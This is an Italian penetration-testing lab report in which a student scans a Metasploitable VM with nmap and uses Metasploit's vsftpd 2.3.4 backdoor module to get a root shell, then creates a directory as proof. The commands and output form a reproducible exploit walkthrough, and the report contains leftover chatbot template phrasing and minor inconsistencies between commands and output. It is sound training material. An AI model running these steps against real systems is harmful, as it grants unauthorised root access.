

# S7L1

## Hacking con Metasploit

---

### Obiettivo:

Identificare e sfruttare la vulnerabilità nota del servizio **vsftpd** per ottenere l'accesso amministrativo (root) e confermare l'accesso tramite la creazione di un file.

Certamente. Ecco un modello di report professionale e dettagliato, strutturato in modo che tu possa inserire i tuoi screenshot nei punti appropriati.

### 1. Riepilogo esecutivo:

È stato condotto un test di penetrazione mirato sulla macchina Metasploitable. Sfruttando la console Metasploit, è stata identificata ed eseguita un exploit sulla versione vulnerabile di **vsftpd** (2.3.4) in esecuzione sull'host di destinazione.

L'attacco ha avuto successo, garantendo un accesso non autorizzato al sistema con privilegi di **root**, l'accesso è stato poi verificato completando l'obiettivo secondario: la creazione di una directory nella directory radice del sistema.

---

---

## 2. Fase di ricognizione e scansione

Eseguiamo prima un ping per verificare che le macchine siano connesse e in seguito una scansione con nmap con il seguente comando:

```
nmap -sV 192.168.50.3
```

- **Azione:** scansione dei servizi sull'host target per identificare porte aperte e versioni del software.
- **Risultato atteso:** Identificazione del servizio FTP sulla porta 21, con la versione specifica **vsftpd 2.3.4**.

```
(kali@kali)-[~]
$ nmap -sV 192.168.50.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-03 10:30 EST
Nmap scan report for 192.168.50.3
Host is up (0.013s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:04:3F:E1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.08 seconds
```

---

### 3. Fase di sfruttamento (exploitation):

Questa fase si è concentrata sull'utilizzo di Metasploit Framework per sfruttare la vulnerabilità identificata.

#### 3.1. Avvio e ricerca del modulo

È stata avviata la console di Metasploit (**msfconsole**).

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: View advanced module options with advanced

.
.
.

  dBBBBBBb  dBBBP dBBBBBBBP dBBBBBBb .
    '  dB'
dB'dB'dB' dBBP  dBP  dBP BB
dB'dB'dB' dBP  dBP  dBP BB
dB'dB'dB' dBBBBP dBP  dBBBBBBB

                                dBBBBBBP dBBBb dBP  dBBBBP dBP dBBBBBBP
                                dB' dBP  dB'.BP
                                dBP  dBP  dB'.BP dBP  dBP
                                dBP  dBP  dB'.BP dBP  dBP
                                dBBBBP dBBBBP dBP  dBP

  .
  |
--o--
  |

To boldly go where no
shell has gone before

=[ metasploit v6.4.95-dev ]
+ -- ==[ 2,566 exploits - 1,315 auxiliary - 1,683 payloads ]
+ -- ==[ 433 post - 49 encoders - 13 nops - 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > █
```

---

È stato utilizzato il comando **search** per individuare un modulo di exploit appropriato per la versione del servizio.

- **Comando:** **search vsftpd**

```
msf > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

- **Modulo selezionato:** **exploit/unix/ftp/vsftpd\_234\_backdoor**

### 3.2. Configurazione dell'exploit

Una volta caricato il modulo (**use exploit/unix/ftp/vsftpd\_234\_backdoor**), è stato necessario configurare l'host di destinazione (Remote Host).

- **Comando:** **set RHOSTS 192.168.50.3**
- **Verifica Opzioni:** **show options**

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.3
RHOSTS => 192.168.50.3
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.50.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.3:21 - USER: 331 Please specify the password.
[+] 192.168.50.3:21 - Backdoor service has been spawned, handling ...
[+] 192.168.50.3:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.10:41271 -> 192.168.50.3:6200) at 2025-11-03 10:37:17 -0500
```

---

### 3.3. Esecuzione dell'attacco

L'exploit è stato lanciato utilizzando il comando **exploit**.

- **Comando: exploit**

L'output della console ha confermato il successo dell'operazione.

L'analisi dell'output conferma i seguenti punti chiave:

- **[+] 192.168.50.3:21 - Banner: 220 (vsFTPd 2.3.4)** L'host è stato raggiunto e ha confermato la versione del software vulnerabile.
- **[+] 192.168.50.3:21 - UID: uid=0(root) gid=0(root)** La backdoor è stata attivata e ha risposto, conferendo privilegi di **root** (User ID 0).
- **[+] Found shell.** Metasploit ha confermato di aver ottenuto una shell.
- **[\*] Command shell session 1 opened...** È stata stabilita una sessione di comando interattiva con la macchina target.

## 4. Fase di Post-Sfruttamento

Ottenuto l'accesso, è stato eseguito il secondo obiettivo dell'esercizio per dimostrare il controllo sul sistema.

### 4.1. Creazione della Directory

Dalla shell ottenuta, è stato inviato il comando per creare una nuova directory nella directory radice (/).

- **Comando: mkdir /test\_metasploit**

---

## 4.2. Verifica

Per confermare l'avvenuta creazione della directory, è stato utilizzato il comando `ls` per elencare il contenuto della directory radice e verificare la presenza della nuova cartella.

- **Comando di Verifica:** `ls -ld /test_metasploit`
- **Risultato:** Il comando ha restituito i dettagli della directory `/test_metasploit`, confermando la sua creazione e il successo dell'operazione.

```
mkdir /test_metasploit
ls /
bin
boot
cdrom
dev
etc
hhhhhhhB7}
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
█
```

## 5. Conclusione

L'esercizio è stato completato con successo. Tutti gli obiettivi sono stati raggiunti: è stato ottenuto l'accesso come `root` alla macchina Metasploitable sfruttando la backdoor di `vsftpd 2.3.4` ed è stata creata la directory `/test_metasploit` come prova del controllo acquisito.

---